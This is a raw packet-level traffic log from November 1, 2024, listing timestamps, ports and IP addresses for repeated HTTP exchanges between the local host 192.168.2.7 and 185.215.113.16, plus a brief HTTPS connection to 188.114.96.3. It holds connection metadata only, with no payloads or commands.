Nov 1, 2024 12:34:33.557498932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557511091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557523966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557533979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557535887 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557545900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557558060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557559967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557579041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557601929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557627916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557811975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557859898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557956934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557976007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557986021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557997942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558008909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558020115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558022022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558029890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558033943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558046103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558058023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558060884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558068991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558096886 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558111906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558124065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558154106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558154106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558288097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558372974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558384895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558396101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558410883 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558433056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558440924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558454990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558464050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558475971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.558492899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.558511972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588336945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588351965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588366985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588383913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588393927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588399887 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588406086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588418961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588428974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588439941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588454008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588454008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588479996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588495016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588502884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588506937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588514090 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588520050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588531971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588536978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588545084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588557959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588561058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588567972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588578939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588587046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588591099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588602066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588608027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588614941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588629007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588639021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588639975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588650942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588663101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588673115 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588675022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588686943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588699102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588710070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588712931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588721037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588731050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588742018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588742018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588752985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588753939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588771105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.588777065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.588799953 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.590504885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590517998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590528011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590538025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590548038 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.590553045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590564966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590575933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.590575933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590590954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590601921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590611935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.590615034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.590630054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.591041088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.591140985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.591166019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.620465994 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:33.620506048 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:33.620655060 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:33.621031046 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:33.621045113 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:33.624298096 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.628326893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.628341913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.628391981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.646186113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646255016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646266937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646279097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646290064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646301985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646311998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646321058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.646325111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646338940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646348000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646353960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646361113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.646383047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.646383047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.646408081 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.646429062 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.678345919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.678370953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.678384066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.678441048 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.709345102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.709358931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.709368944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.709476948 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740720034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740755081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740765095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740772009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740778923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740791082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740802050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740839958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740876913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740879059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740892887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740911007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740921974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740927935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740932941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740947962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740947008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740967989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.740972996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.740983009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741000891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741014004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741018057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741027117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741039991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741041899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741065979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741097927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741130114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741143942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741152048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741164923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741168976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741179943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741193056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741193056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741206884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741214991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741219044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741233110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741234064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741244078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741260052 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741285086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741286039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741298914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741309881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741348982 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741409063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741422892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741441965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741453886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741457939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741476059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741481066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741489887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741508007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741518021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741524935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741530895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741544008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741571903 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741631985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741645098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741657019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741667986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741679907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741681099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741694927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741719007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741735935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741791964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741802931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741815090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741827011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741837025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741838932 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741848946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741859913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741863012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741879940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741889000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741892099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741904020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741915941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741919041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741931915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741940022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741944075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741956949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741966963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.741977930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741990089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.741992950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742002010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742012978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742021084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742032051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742043972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742052078 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742055893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742067099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742084980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742089987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742099047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742106915 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742110014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742131948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742141962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742147923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742152929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742171049 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742172003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742186069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742189884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742232084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742374897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742386103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742419004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742429018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742446899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742455959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742466927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742479086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742482901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742491007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742503881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742507935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742517948 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.742517948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742531061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.742567062 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779723883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779743910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779756069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779767990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779772997 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779779911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779793024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779804945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779804945 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779815912 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779861927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779902935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779916048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779926062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779937983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779953003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779968977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779969931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.779982090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779994965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.779994011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.780008078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780014992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.780021906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780035019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780041933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.780066967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.780255079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780267000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780278921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780287981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.780303955 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.780314922 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.783489943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.783660889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.783705950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.801661015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.801673889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.801692009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.801702976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.801712990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.801714897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.801739931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.801755905 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.832737923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.832762957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.832782030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.832794905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.832806110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.832822084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.832856894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.863960981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.864015102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895587921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895657063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895679951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895697117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895708084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895719051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895735979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895737886 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895747900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895760059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895760059 CET	49996	80	192.168.2.7	185.215.113.16
